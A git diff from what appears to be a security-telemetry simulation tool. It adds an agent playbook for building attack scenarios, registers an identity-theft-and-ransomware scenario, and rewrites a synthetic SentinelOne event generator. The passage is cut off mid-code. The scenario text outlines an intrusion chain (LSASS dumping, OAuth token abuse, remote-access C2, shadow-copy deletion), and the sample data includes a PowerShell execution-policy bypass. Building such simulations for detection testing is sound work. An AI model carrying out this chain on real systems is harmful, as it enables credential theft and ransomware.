diff --git a/Backend/AGENTS.md b/Backend/AGENTS.md index 9106780..929a63d 100644 --- a/Backend/AGENTS.md +++ b/Backend/AGENTS.md @@ -48,3 +48,56 @@ - In Docker, data persists under `api/data/` (mounted to `/app/data`). - Production: keep `DISABLE_AUTH=false`, use strong keys, configure CORS appropriately. +## Scenario Generation Playbook (Agent Instructions) +Use this workflow whenever creating a new attack scenario under `Backend/scenarios/`. + +1) Implement the scenario script +- Create `Backend/scenarios/.py` in `snake_case` (example: `identity_theft_ransomware_scenario.py`). +- Include profiles (`VICTIM_PROFILE`, `ATTACKER_PROFILE`) and phase/step generators. +- Return a top-level scenario object with: + - `scenario_name`, `description`, `generated_at`, `total_events`, `events` + - Each event formatted as: `{"timestamp", "source", "phase", "event"}` +- Save JSON output to `Backend/scenarios/configs/.json` in `__main__`. + +2) Reuse existing generators first +- Prefer functions from `event_generators/` over custom raw payloads. +- Common modules used by scenarios: + - Endpoint: `event_generators/endpoint_security/sentinelone_endpoint.py` + - Identity: `event_generators/identity_access/okta_authentication.py` + - Network: `event_generators/network_security/paloalto_firewall.py` + - Windows logs: `event_generators/endpoint_security/microsoft_windows_eventlog.py` +- Add new generator logic only if required fields cannot be represented with existing overrides. + +3) Correlation-ready scenarios +- If scenario supports SIEM time anchoring, add `CORRELATION_CONFIG` in the scenario module. +- Include: + - `scenario_id`, `name`, `description`, `default_query` + - `time_anchors` and `phase_mapping` + - `fallback_behavior` (typically `offset_from_now`) + +4) Register in backend APIs +- Add scenario metadata to: + - `api/app/services/scenario_service.py` (`self.scenario_templates`) + - `api/app/routers/scenarios.py` (`/templates` payload) +- If correlation-enabled, also register import/append logic in: + - `api/app/routers/scenarios.py` under `/correlation` + +5) Register in frontend scenario dropdown +- Add scenario entry to `Frontend/log_generator_ui.py` route `GET /scenarios`. +- Ensure `id` exactly matches the scenario filename/module id. +- If the UI should auto-send generated JSON to HEC, include the scenario id in the auto-replay allowlist in `Frontend/log_generator_ui.py`. + +6) Verify execution and HEC replay +- Validate import/compile: + - `python3 -c "from import ; print('Import OK')"` +- Generate scenario: + - `python3 Backend/scenarios/.py` +- Confirm JSON exists at `Backend/scenarios/configs/.json`. +- Run replay manually if needed: + - `python3 Backend/scenarios/scenario_hec_sender.py --scenario Backend/scenarios/configs/.json --auto --preserve-timestamps` + +7) Expected operator log signals +- During generation: phase banners + `Total Events` + `Scenario saved to ...`. +- During replay: sender analysis + progress + transmission summary. +- If generation completes but replay does not start, check frontend auto-replay allowlist for missing scenario id. + diff --git a/Backend/api/app/routers/scenarios.py b/Backend/api/app/routers/scenarios.py index 62b36ac..57295b8 100644 --- a/Backend/api/app/routers/scenarios.py +++ b/Backend/api/app/routers/scenarios.py @@ -42,7 +42,7 @@ class CorrelationRunRequest(BaseModel): workers: int = 10 overwrite_parser: bool = False suppress_alerts: bool = False - strip_helios_prefix: bool = False + include_helios_prefix: bool = False # Initialize scenario service scenario_service = ScenarioService() @@ -146,6 +146,15 @@ async def get_scenario_templates( "generators": ["proofpoint", "microsoft_365_collaboration", "sentinelone_endpoint", "paloalto_firewall"], "severity": "high", "mitre_tactics": ["T1566.002", "T1204.002", "T1059.001", "T1053.005", "T1071.001"] + }, + { + "id": "identity_theft_ransomware", + "name": "Cross-Platform Identity Theft & Ransomware", + "description": "Advanced identity-led attack: esentutl.exe LOLBin credential theft, stolen OAuth refresh-token abuse through Okta, C2 via ScreenConnect/ngrok/AnyDesk, AD recon (SharpHound, ADRecon), LSASS dump + Okta privilege escalation, and ALPHV/BlackCat ransomware execution with VSS deletion.", + "duration_minutes": 55, + "generators": ["sentinelone_endpoint", "okta_authentication", "paloalto_firewall", "microsoft_windows_eventlog"], + "severity": "critical", + "mitre_tactics": ["T1539", "T1550.001", "T1078", "T1071.001", "T1059.001", "T1003.001", "T1486", "T1490"] } ] @@ -193,7 +202,20 @@ async def list_correlation_scenarios( except ImportError as e: logger.warning(f"Failed to import apollo_ransomware_scenario: {e}") - # Add more correlation scenarios here as they are created + # Identity Theft & Ransomware Scenario + try: + from identity_theft_ransomware_scenario import CORRELATION_CONFIG as SS_CORRELATION_CONFIG + correlation_scenarios.append({ + "id": SS_CORRELATION_CONFIG["scenario_id"], + "name": SS_CORRELATION_CONFIG["name"], + "description": SS_CORRELATION_CONFIG["description"], + "default_query": SS_CORRELATION_CONFIG["default_query"], + "time_anchors": SS_CORRELATION_CONFIG["time_anchors"], + "phase_mapping": SS_CORRELATION_CONFIG["phase_mapping"], + "fallback_behavior": SS_CORRELATION_CONFIG.get("fallback_behavior", "offset_from_now") + }) + except ImportError as e: + logger.warning(f"Failed to import identity_theft_ransomware_scenario: {e}") return BaseResponse( success=True, @@ -324,7 +346,7 @@ async def run_correlation_scenario( tag_trace=request.tag_trace, overwrite_parser=request.overwrite_parser, suppress_alerts=request.suppress_alerts, - strip_helios_prefix=request.strip_helios_prefix, + include_helios_prefix=request.include_helios_prefix, background_tasks=background_tasks ) diff --git a/Backend/api/app/services/scenario_service.py b/Backend/api/app/services/scenario_service.py index 03c24a8..0c62039 100644 --- a/Backend/api/app/services/scenario_service.py +++ b/Backend/api/app/services/scenario_service.py @@ -170,6 +170,19 @@ def __init__(self): {"name": "Command & Control", "generators": ["sentinelone_endpoint", "paloalto_firewall"], "duration": 1}, {"name": "Detection & Response", "generators": ["proofpoint", "sentinelone_endpoint"], "duration": 1} ] + }, + "identity_theft_ransomware": { + "id": "identity_theft_ransomware", + "name": "Cross-Platform Identity Theft & Ransomware", + "description": "Advanced identity-led attack: esentutl.exe LOLBin credential theft, stolen OAuth refresh-token abuse through Okta, C2 via ScreenConnect/ngrok/AnyDesk, AD recon (SharpHound, ADRecon), LSASS dump + Okta privilege escalation, and ALPHV/BlackCat ransomware execution with VSS deletion.", + "phases": [ + {"name": "Initial Access / Credential Theft", "generators": ["sentinelone_endpoint", "microsoft_windows_eventlog", "okta_authentication"], "duration": 10}, + {"name": "Command & Control", "generators": ["sentinelone_endpoint", "paloalto_firewall"], "duration": 5}, + {"name": "Endpoint Discovery & Staging", "generators": ["sentinelone_endpoint"], "duration": 10}, + {"name": "Credential & Privilege Abuse", "generators": ["sentinelone_endpoint", "microsoft_windows_eventlog", "okta_authentication"], "duration": 10}, + {"name": "Ransomware Preparation", "generators": ["sentinelone_endpoint"], "duration": 10}, + {"name": "Ransomware Execution / Impact", "generators": ["sentinelone_endpoint", "microsoft_windows_eventlog"], "duration": 10} + ] } } self._load_json_scenarios() @@ -249,6 +262,12 @@ async def list_scenarios( # Add metadata for scenario in scenarios: + data_sources = sorted({ + generator + for phase in scenario.get("phases", []) + for generator in phase.get("generators", []) + }) + scenario["data_sources"] = data_sources scenario["phase_count"] = len(scenario.get("phases", [])) scenario["estimated_duration_minutes"] = sum( phase.get("duration", 0) for phase in scenario.get("phases", []) @@ -302,7 +321,7 @@ async def start_correlation_scenario( dry_run: bool = False, overwrite_parser: bool = False, suppress_alerts: bool = False, - strip_helios_prefix: bool = False, + include_helios_prefix: bool = False, background_tasks=None ) -> str: """Start correlation scenario execution with SIEM context and trace ID support""" @@ -321,7 +340,7 @@ async def start_correlation_scenario( "tag_trace": tag_trace, "overwrite_parser": overwrite_parser, "suppress_alerts": suppress_alerts, - "strip_helios_prefix": strip_helios_prefix, + "include_helios_prefix": include_helios_prefix, "progress": 0 } @@ -335,7 +354,7 @@ async def start_correlation_scenario( tag_phase, tag_trace, suppress_alerts, - strip_helios_prefix + include_helios_prefix ) return execution_id @@ -349,7 +368,7 @@ async def _execute_correlation_scenario( tag_phase: bool = True, tag_trace: bool = True, suppress_alerts: bool = False, - strip_helios_prefix: bool = False + include_helios_prefix: bool = False ): """Execute correlation scenario with SIEM context and trace ID support""" import sys @@ -371,13 +390,19 @@ async def _execute_correlation_scenario( os.environ['S1_TRACE_ID'] = trace_id os.environ['S1_TAG_PHASE'] = '1' if tag_phase else '0' os.environ['S1_TAG_TRACE'] = '1' if tag_trace else '0' + os.environ['SCENARIO_INCLUDE_HELIOS_PREFIX'] = 'true' if include_helios_prefix else 'false' # Import and run the scenario - module = __import__(scenario_id) - scenario_result = module.generate_apollo_ransomware_scenario( + scenario_module_map = { + 'apollo_ransomware_scenario': ('apollo_ransomware_scenario', 'generate_apollo_ransomware_scenario'), + 'identity_theft_ransomware': ('identity_theft_ransomware_scenario', 'generate_identity_theft_ransomware_scenario'), + } + module_name, function_name = scenario_module_map.get(scenario_id, (scenario_id, f'generate_{scenario_id}')) + module = __import__(module_name) + scenario_func = getattr(module, function_name) + scenario_result = scenario_func( siem_context=siem_context, - suppress_alerts=suppress_alerts, - strip_helios_prefix=strip_helios_prefix, + include_helios_prefix=include_helios_prefix, ) # Update execution status @@ -400,6 +425,8 @@ async def _execute_correlation_scenario( os.environ.pop('S1_TRACE_ID', None) os.environ.pop('S1_TAG_PHASE', None) os.environ.pop('S1_TAG_TRACE', None) + os.environ.pop('SCENARIO_INCLUDE_HELIOS_PREFIX', None) + async def _execute_scenario(self, execution_id: str, scenario: Dict[str, Any]): """Execute scenario in background""" diff --git a/Backend/event_generators/endpoint_security/sentinelone_endpoint.py b/Backend/event_generators/endpoint_security/sentinelone_endpoint.py index 8eced77..33d1e49 100644 --- a/Backend/event_generators/endpoint_security/sentinelone_endpoint.py +++ b/Backend/event_generators/endpoint_security/sentinelone_endpoint.py @@ -1,493 +1,400 @@ #!/usr/bin/env python3 """ -SentinelOne Endpoint (Deep Visibility) event generator -Generates realistic SentinelOne XDR endpoint events including process execution, -file operations, network connections, and threat detections. +SentinelOne Endpoint (Deep Visibility) event generator — V2 +============================================================ +Rewritten to match the **real** SentinelOne EDR export schema field-for-field. +Validated against production Deep Visibility JSON exports from agent v25.4.1.24. + +Supports event types observed in real telemetry: + Process Creation, DNS Resolved, DNS Unresolved, IP Connect, + File Creation, File Modification, File Deletion, File Rename, + Malware Detection, Suspicious Activity, Registry Modification, + PowerShell Execution, Credential Access, Scheduled Task *, + Duplicate Process, and any custom event.type via overrides. """ from __future__ import annotations import json import random -import time import hashlib import uuid +import string from datetime import datetime, timezone, timedelta -from typing import Dict, List - -# Endpoint types and platforms -ENDPOINT_TYPES = ["server", "workstation", "laptop", "kubernetes"] -OPERATING_SYSTEMS = [ - {"os": "Windows", "version": "10", "arch": "x64"}, - {"os": "Windows", "version": "11", "arch": "x64"}, - {"os": "Windows", "version": "Server 2019", "arch": "x64"}, - {"os": "Windows", "version": "Server 2022", "arch": "x64"}, - {"os": "Linux", "version": "Ubuntu 20.04", "arch": "x64"}, - {"os": "Linux", "version": "Ubuntu 22.04", "arch": "x64"}, - {"os": "Linux", "version": "RHEL 8", "arch": "x64"}, - {"os": "Linux", "version": "CentOS 7", "arch": "x64"}, - {"os": "macOS", "version": "13.0", "arch": "arm64"}, - {"os": "macOS", "version": "14.0", "arch": "x64"}, -] +from typing import Dict, Optional + +# --------------------------------------------------------------------------- +# ATTR_FIELDS — used by scenario_hec_sender to tag events during HEC ingest +# --------------------------------------------------------------------------- +ATTR_FIELDS = { + "dataSource.name": "SentinelOne", + "dataSource.category": "security", + "dataSource.vendor": "SentinelOne", +} + +# --------------------------------------------------------------------------- +# Event‑type → (meta.event.name, event.category) mapping +# --------------------------------------------------------------------------- +EVENT_TYPE_MAP = { + "Process Creation": ("PROCESSCREATION", "process"), + "DNS Resolved": ("DNS", "dns"), + "DNS Unresolved": ("DNS", "dns"), + "IP Connect": ("TCPV4", "ip"), + "File Creation": ("FILECREATION", "file"), + "File Modification": ("FILEMODIFICATION", "file"), + "File Deletion": ("FILEDELETION", "file"), + "File Rename": ("FILERENAME", "file"), + "Malware Detection": ("FILESCAN", "threats"), + "Suspicious Activity": ("PROCESSCREATION", "process"), + "Registry Modification": ("REGKEYCREATE", "registry"), + "PowerShell Execution": ("SCRIPTS", "process"), + "Credential Access": ("PROCESSCREATION","process"), + "Scheduled Task Update": ("SCHEDTASKUPDATE","scheduledtask"), + "Scheduled Task Start": ("SCHEDTASKSTART", "scheduledtask"), + "Scheduled Task Trigger":("SCHEDTASKTRIGGER","scheduledtask"), + "Scheduled Task Delete": ("SCHEDTASKDELETE","scheduledtask"), + "Duplicate Process": ("DUPLICATEPROCESS","process"), + "Network Connection": ("TCPV4", "ip"), +} -# Users for different scenarios -USERS = [ - "jean.picard", "william.riker", "data.android", "geordi.laforge", "worf.security", - "deanna.troi", "beverly.crusher", "wesley.crusher", "tasha.yar", "guinan.bartender", - "james.kirk", "spock.science", "leonard.mccoy", "montgomery.scott", "nyota.uhura", - "pavel.chekov", "hikaru.sulu", "benjamin.sisko", "kira.nerys", "julian.bashir", - "jadzia.dax", "miles.obrien", "odo.security", "kathryn.janeway", "chakotay.commander", - "tuvok.security", "tom.paris", "belanna.torres", "harry.kim", "seven.of.nine", - "admin", "service_account" +# --------------------------------------------------------------------------- +# Defaults for randomised fields +# --------------------------------------------------------------------------- +ENDPOINT_TYPES = ["server", "workstation", "laptop"] + +LINUX_PROCESSES = [ + {"name": "systemd-executor", "displayName": "systemd-executor", + "path": "/usr/lib/systemd/systemd-executor", + "cmdline": "/usr/lib/systemd/systemd-executor --deserialize 60 --log-level info --log-target journal-or-kmsg", + "sha1": "f621c455a0187f9942afb2c1334a1e636b30cee5", + "sha256": "a76ebfd2120b7bd6590210c5b4b4de9051c2842daa37a323ef2bfc330ed7f39e", + "size": 137792}, + {"name": "cron", "displayName": "cron", + "path": "/usr/sbin/cron", + "cmdline": "/usr/sbin/CRON -f -P", + "sha1": "1acc15c347efc7c8e45e3147ef6f9e44de59df0e", + "sha256": "6bd8593640af2413bce259fa0affc18dbf149892756ebe805bf316624f8b590f", + "size": 60080}, + {"name": "dash", "displayName": "dash", + "path": "/usr/bin/dash", + "cmdline": "/bin/sh -c command -v debian-sa1 > /dev/null && debian-sa1 1 1", + "sha1": "9697fc549039a25a859a827d00e5c97e9729e983", + "sha256": "86d31f6fb799e91fa21bad341484564510ca287703a16e9e46c53338776f4f42", + "size": 129784}, + {"name": "sadc", "displayName": "sadc", + "path": "/usr/lib/sysstat/sadc", + "cmdline": "/usr/lib/sysstat/sadc -F -L -S DISK 1 1 /var/log/sysstat", + "sha1": "67254f4af657c4dea7201198c761f7e51910ddc1", + "sha256": "d0dcaadc057b3791f3d3aa19e2f9b1243ad37714f4336a8be0b69b197bdf0397", + "size": 83200}, + {"name": "amazon-ssm-agent", "displayName": "amazon-ssm-agent", + "path": "/snap/amazon-ssm-agent/13009/amazon-ssm-agent", + "cmdline": "/snap/amazon-ssm-agent/13009/amazon-ssm-agent", + "sha1": "f4cbd6da4624875a72445e2b903aa867e7b0e8e8", + "sha256": "0536cfa8f8bbc057f5d656aceac595391dd9f134f8dfd341e188c1d9714d1a45", + "size": 15851456}, + {"name": "chronyd", "displayName": "chronyd", + "path": "/usr/sbin/chronyd", + "cmdline": "/usr/sbin/chronyd -F 1", + "sha1": "ffa62bec079d1178ef9d9165d77ae79cd4e3539d", + "sha256": "7a834e478d8a904c39a348606a5d0ac58fd1ccbca24f333a8170c786af8ca508", + "size": 306232}, ] -# Event types and their characteristics -ENDPOINT_EVENT_TYPES = [ - { - "eventType": "Process Creation", - "metaEventName": "PROCESSCREATION", - "severity": "INFO", - "category": "Process", - "threatLevel": 0 - }, - { - "eventType": "File Creation", - "metaEventName": "HTTP", - "severity": "INFO", - "category": "File", - "threatLevel": 0 - }, - { - "eventType": "Network Connection", - "metaEventName": "HTTP", - "severity": "INFO", - "category": "Network", - "threatLevel": 0 - }, - { - "eventType": "Malware Detection", - "metaEventName": "FILESCAN", - "severity": "CRITICAL", - "category": "Threats", - "threatLevel": 10 - }, - { - "eventType": "Suspicious Activity", - "metaEventName": "PROCESSCREATION", - "severity": "HIGH", - "category": "Behavioral", - "threatLevel": 8 - }, - { - "eventType": "Registry Modification", - "metaEventName": "REGKEYCREATE", - "severity": "MEDIUM", - "category": "Registry", - "threatLevel": 5 - }, - { - "eventType": "PowerShell Execution", - "metaEventName": "SCRIPTS", - "severity": "MEDIUM", - "category": "Process", - "threatLevel": 6 - }, - { - "eventType": "Credential Access", - "metaEventName": "PROCESSCREATION", - "severity": "HIGH", - "category": "Credentials", - "threatLevel": 9 - }, - { - "eventType": "Container Activity", - "metaEventName": "PROCESSCREATION", - "severity": "INFO", - "category": "Container", - "threatLevel": 2 - }, - { - "eventType": "Kubernetes Event", - "metaEventName": "PROCESSCREATION", - "severity": "INFO", - "category": "Kubernetes", - "threatLevel": 1 - }, - { - "eventType": "Scheduled Task Update", - "metaEventName": "SCHEDTASKUPDATE", - "severity": "MEDIUM", - "category": "ScheduledTask", - "threatLevel": 3 - }, - { - "eventType": "Scheduled Task Start", - "metaEventName": "SCHEDTASKSTART", - "severity": "INFO", - "category": "ScheduledTask", - "threatLevel": 2 - }, - { - "eventType": "Scheduled Task Trigger", - "metaEventName": "SCHEDTASKTRIGGER", - "severity": "INFO", - "category": "ScheduledTask", - "threatLevel": 2 - }, - { - "eventType": "Scheduled Task Delete", - "metaEventName": "SCHEDTASKDELETE", - "severity": "MEDIUM", - "category": "ScheduledTask", - "threatLevel": 4 - }, - { - "eventType": "Duplicate Process", - "metaEventName": "DUPLICATEPROCESS", - "severity": "HIGH", - "category": "Process", - "threatLevel": 7 - } +WINDOWS_PROCESSES = [ + {"name": "explorer.exe", "displayName": "Windows Explorer", + "path": "C:\\Windows\\explorer.exe", + "cmdline": "C:\\Windows\\Explorer.exe", + "sha1": "", "sha256": "", "size": 5765120}, + {"name": "powershell.exe", "displayName": "Windows PowerShell", + "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", + "cmdline": "powershell.exe -ExecutionPolicy Bypass", + "sha1": "", "sha256": "", "size": 491520}, + {"name": "cmd.exe", "displayName": "Windows Command Processor", + "path": "C:\\Windows\\System32\\cmd.exe", + "cmdline": "cmd.exe /c dir", + "sha1": "", "sha256": "", "size": 323584}, + {"name": "svchost.exe", "displayName": "Host Process for Windows Services", + "path": "C:\\Windows\\System32\\svchost.exe", + "cmdline": "svchost.exe -k NetworkService", + "sha1": "", "sha256": "", "size": 84992}, ] -# Common processes and files -PROCESSES = [ - {"name": "explorer.exe", "path": "C:\\Windows\\explorer.exe", "cmdline": "C:\\Windows\\Explorer.exe"}, - {"name": "chrome.exe", "path": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "cmdline": "chrome.exe --new-window"}, - {"name": "powershell.exe", "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "cmdline": "powershell.exe -ExecutionPolicy Bypass"}, - {"name": "cmd.exe", "path": "C:\\Windows\\System32\\cmd.exe", "cmdline": "cmd.exe /c dir"}, - {"name": "svchost.exe", "path": "C:\\Windows\\System32\\svchost.exe", "cmdline": "svchost.exe -k NetworkService"}, - {"name": "bash", "path": "/bin/bash", "cmdline": "/bin/bash -c ls -la"}, - {"name": "python3", "path": "/usr/bin/python3", "cmdline": "python3 script.py"}, - {"name": "docker", "path": "/usr/bin/docker", "cmdline": "docker run -d nginx"}, - {"name": "kubectl", "path": "/usr/local/bin/kubectl", "cmdline": "kubectl get pods"}, - {"name": "systemd", "path": "/lib/systemd/systemd", "cmdline": "/lib/systemd/systemd --user"} +LINUX_PARENTS = [ + {"name": "systemd", "displayName": "systemd", + "path": "/usr/lib/systemd/systemd", + "cmdline": "/usr/lib/systemd/systemd --system --deserialize=72", + "sha1": "950601befa0b55cead41e7a1ecb0de8833f4c2c8", + "sha256": "40caa6565d996de5eae5c82e5fc8ef440f0d74e8f701210b2364d9b7b69329a3", + "size": 100816, "pid": 1}, + {"name": "cron", "displayName": "cron", + "path": "/usr/sbin/cron", + "cmdline": "/usr/sbin/cron -f -P", + "sha1": "1acc15c347efc7c8e45e3147ef6f9e44de59df0e", + "sha256": "6bd8593640af2413bce259fa0affc18dbf149892756ebe805bf316624f8b590f", + "size": 60080, "pid": 517}, ] -# Threat indicators -THREAT_INDICATORS = [ - {"name": "Emotet", "type": "Malware", "family": "Banking Trojan"}, - {"name": "Cobalt Strike", "type": "Tool", "family": "Post-Exploitation"}, - {"name": "Mimikatz", "type": "Tool", "family": "Credential Theft"}, - {"name": "PowerShell Empire", "type": "Framework", "family": "Post-Exploitation"}, - {"name": "WannaCry", "type": "Ransomware", "family": "Crypto-Ransomware"}, - {"name": "TrickBot", "type": "Malware", "family": "Banking Trojan"}, +WINDOWS_PARENTS = [ + {"name": "explorer.exe", "displayName": "Windows Explorer", + "path": "C:\\Windows\\explorer.exe", "cmdline": "C:\\Windows\\Explorer.exe", + "sha1": "", "sha256": "", "size": 5765120, "pid": 4580}, + {"name": "services.exe", "displayName": "Services and Controller app", + "path": "C:\\Windows\\System32\\services.exe", "cmdline": "C:\\Windows\\System32\\services.exe", + "sha1": "", "sha256": "", "size": 721920, "pid": 780}, ] -def generate_endpoint_name(endpoint_type: str, os_info: Dict) -> str: - """Generate realistic endpoint names""" - prefixes = { - "server": ["SRV", "WEB", "DB", "APP", "DC"], - "workstation": ["WS", "PC", "DESK"], - "laptop": ["LT", "NB", "LAP"], - "kubernetes": ["K8S", "NODE", "WORKER"] - } - - prefix = random.choice(prefixes.get(endpoint_type, ["EP"])) - suffix = random.randint(100, 999) - - if os_info["os"] == "Linux": - return f"{prefix.lower()}-{suffix}" - else: - return f"{prefix}-{suffix}" -def generate_sha256() -> str: - """Generate a realistic SHA256 hash""" +# --------------------------------------------------------------------------- +# Helper utilities +# --------------------------------------------------------------------------- + +def _generate_ulid_trace() -> str: + """Generate a ULID-like trace ID matching real S1 format (26 uppercase alphanumeric).""" + chars = string.ascii_uppercase + string.digits + return "01" + "".join(random.choices(chars, k=24)) + + +def _s1_uuid() -> str: + """UUID matching the hex-with-dashes format used by S1 for storyline/process/packet IDs.""" + return str(uuid.uuid4()) + + +def _format_s1_time(dt: datetime) -> str: + """Format datetime as epoch nanoseconds for SentinelOne event.time.""" + return str(int(dt.timestamp() * 1_000_000_000)) + + +def _format_s1_timestamp(dt: datetime) -> str: + """Format datetime as S1 timestamp field: 'HH:MM:SS.mmm'""" + return dt.strftime("%H:%M:%S.") + f"{dt.microsecond // 1000:03d}" + + +def _generate_sha1() -> str: + return hashlib.sha1(str(random.random()).encode()).hexdigest() + + +def _generate_sha256() -> str: return hashlib.sha256(str(random.random()).encode()).hexdigest() -def generate_ip_address() -> str: - """Generate internal or external IP addresses""" - if random.random() < 0.7: # 70% internal IPs - return f"10.{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}" - else: # 30% external IPs - return f"{random.randint(1, 223)}.{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}" -def format_timestamp(dt: datetime) -> int: - """Convert datetime to epoch timestamp (milliseconds) for SentinelOne events""" - return int(dt.timestamp() * 1000) +def _generate_numeric_id() -> str: + """Large numeric string matching real account.id / site.id format.""" + return str(random.randint(1000000000000000000, 9999999999999999999)) + + +def _generate_ip() -> str: + if random.random() < 0.7: + return f"10.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" + return f"{random.randint(1,223)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}" + + +# --------------------------------------------------------------------------- +# Main generator +# --------------------------------------------------------------------------- def sentinelone_endpoint_log(custom_fields: Dict = None) -> Dict: - """Generate a SentinelOne Deep Visibility endpoint event matching actual field structure""" - - # Select random configurations - endpoint_type = random.choice(ENDPOINT_TYPES) - os_info = random.choice(OPERATING_SYSTEMS) - user = random.choice(USERS) - event_info = random.choice(ENDPOINT_EVENT_TYPES) - process_info = random.choice(PROCESSES) - - # Generate base event structure + """Generate a SentinelOne Deep Visibility event matching real export schema. + + The output dict contains every field observed in production S1 EDR JSON + exports (agent v25.4.x, Linux & Windows). Pass ``custom_fields`` to + override any value — the override is applied **last** so it always wins. + """ + cf = custom_fields or {} + + # Resolve event type early so we can derive meta.event.name / category + event_type = cf.get("event.type", random.choice(list(EVENT_TYPE_MAP.keys()))) + meta_name, category = EVENT_TYPE_MAP.get(event_type, ("PROCESSCREATION", "process")) + + # Resolve OS from custom fields or random + os_name = cf.get("os.name", random.choice(["Linux", "Windows"])) + is_linux = os_name == "Linux" + + # Pick process profiles appropriate for OS + proc = random.choice(LINUX_PROCESSES if is_linux else WINDOWS_PROCESSES) + parent = random.choice(LINUX_PARENTS if is_linux else WINDOWS_PARENTS) + + # Timestamps event_time = datetime.now(timezone.utc) - timedelta(minutes=random.randint(0, 1440)) - endpoint_name = generate_endpoint_name(endpoint_type, os_info) - + start_time = event_time - timedelta(seconds=random.randint(1, 86400)) + parent_start = event_time - timedelta(days=random.randint(1, 30)) + + # Stable IDs per event + trace_id = _generate_ulid_trace() + storyline_id = _s1_uuid() + parent_storyline_id = _s1_uuid() + src_uid = _s1_uuid() + parent_uid = _s1_uuid() + packet_id = _s1_uuid() + group_id = storyline_id + process_unique_key = src_uid + image_uid = _s1_uuid() + parent_image_uid = _s1_uuid() + event_seq = random.randint(0, 99) + event = { - # Core event fields - "event.id": str(uuid.uuid4()), - "event.time": format_timestamp(event_time), - "event.category": event_info["category"], - "event.type": event_info["eventType"], - "meta.event.name": event_info["metaEventName"], - - # Endpoint information - "endpoint.name": endpoint_name, - "endpoint.os": f"{os_info['os']} {os_info['version']}", - "endpoint.type": endpoint_type, - - # Agent information - "agent.uuid": str(uuid.uuid4()), - "agent.version": f"22.{random.randint(1,4)}.{random.randint(1,10)}.{random.randint(100,999)}", - - # Site and account information - "site.id": str(uuid.uuid4()), - "site.name": "FinanceCorp Main Site", - "account.id": str(uuid.uuid4()), + # --- Envelope / trace --- + "timestamp": _format_s1_timestamp(event_time), + "task.runScript.stdData": "", + "trace.id": trace_id, + + # --- Account / site --- + "account.id": _generate_numeric_id(), "account.name": "FinanceCorp", - - # Data source information + "site.id": _generate_numeric_id(), + "site.name": "Main Site", + + # --- Agent / endpoint --- + "agent.uuid": _s1_uuid(), + "agent.version": "25.4.1.24", + "endpoint.name": f"{'srv' if is_linux else 'WS'}-{random.randint(100,999)}", + "endpoint.os": os_name.lower(), + "endpoint.type": random.choice(["server", "workstation"]) if is_linux else "workstation", + + # --- Data source --- "dataSource.category": "security", + "dataSource.name": "SentinelOne", "dataSource.vendor": "SentinelOne", - - # OS information - "os.name": os_info["os"], - - # Session and process tracking - "session": random.randint(1, 100), - "process.unique.key": f"{random.randint(1000000000, 9999999999)}", - - # Source process information (following actual field structure) - "src.process.name": process_info["name"], - "src.process.pid": random.randint(1000, 65535), - "src.process.uid": str(uuid.uuid4()), - "src.process.user": user, - "src.process.cmdline": process_info["cmdline"], - "src.process.displayName": process_info["name"], - "src.process.startTime": format_timestamp(event_time - timedelta(seconds=random.randint(1, 3600))), - "src.process.integrityLevel": random.choice(["Low", "Medium", "High", "System"]), - "src.process.isNative64Bit": random.choice([True, False]), - "src.process.isStorylineRoot": random.choice([True, False]), - "src.process.sessionId": random.randint(0, 10), - "src.process.signedStatus": random.choice(["Signed", "Unsigned", "Invalid"]), - "src.process.subsystem": random.choice(["Windows CUI", "Windows GUI", "POSIX CUI"]), - "src.process.storyline.id": str(uuid.uuid4()), - - # Source process image information - "src.process.image.path": process_info["path"], - "src.process.image.sha1": hashlib.sha1(str(random.random()).encode()).hexdigest(), - "src.process.image.sha256": generate_sha256(), - "src.process.image.size": random.randint(10240, 52428800), # 10KB to 50MB - "src.process.image.uid": str(uuid.uuid4()), - "src.process.image.type": random.choice(["Executable", "DLL", "Script"]), - - # Parent process information - "src.process.parent.name": random.choice(["explorer.exe", "services.exe", "svchost.exe", "systemd", "init"]), - "src.process.parent.pid": random.randint(100, 999), - "src.process.parent.uid": str(uuid.uuid4()), - "src.process.parent.cmdline": random.choice([ - "C:\\Windows\\explorer.exe", - "C:\\Windows\\System32\\services.exe", - "C:\\Windows\\System32\\svchost.exe -k NetworkService", - "/lib/systemd/systemd --user" - ]), - "src.process.parent.displayName": random.choice(["Windows Explorer", "Service Control Manager", "Service Host", "systemd"]), - "src.process.parent.image.path": random.choice([ - "C:\\Windows\\explorer.exe", - "C:\\Windows\\System32\\services.exe", - "C:\\Windows\\System32\\svchost.exe", - "/lib/systemd/systemd" - ]), - "src.process.parent.image.sha1": hashlib.sha1(str(random.random()).encode()).hexdigest(), - "src.process.parent.image.sha256": generate_sha256(), - "src.process.parent.image.size": random.randint(10240, 52428800), - "src.process.parent.image.uid": str(uuid.uuid4()), - "src.process.parent.image.type": "Executable", - "src.process.parent.integrityLevel": random.choice(["Medium", "High", "System"]), - "src.process.parent.isNative64Bit": True, - "src.process.parent.isStorylineRoot": random.choice([True, False]), - "src.process.parent.sessionId": random.randint(0, 10), - "src.process.parent.signedStatus": "Signed", - "src.process.parent.startTime": format_timestamp(event_time - timedelta(seconds=random.randint(3600, 86400))), - "src.process.parent.storyline.id": str(uuid.uuid4()), - "src.process.parent.subsystem": random.choice(["Windows CUI", "Windows GUI"]), - - # Process counters (behavioral analytics) - "src.process.childProcCount": random.randint(0, 50), - "src.process.crossProcessCount": random.randint(0, 20), - "src.process.crossProcessDuplicateHandleCount": random.randint(0, 10), - "src.process.crossProcessDuplicateThreadHandleCount": random.randint(0, 5), - "src.process.crossProcessOpenProcessCount": random.randint(0, 15), - "src.process.crossProcessOutOfStorylineCount": random.randint(0, 8), - "src.process.crossProcessThreadCreateCount": random.randint(0, 3), - "src.process.dnsCount": random.randint(0, 100), - "src.process.moduleCount": random.randint(1, 200), - "src.process.netConnCount": random.randint(0, 50), - "src.process.netConnInCount": random.randint(0, 25), - "src.process.netConnOutCount": random.randint(0, 30), - "src.process.registryChangeCount": random.randint(0, 30), - "src.process.timedEventCreationCount": random.randint(0, 10), - "src.process.timedEventDeletionCount": random.randint(0, 5), - "src.process.timedEventModificationCount": random.randint(0, 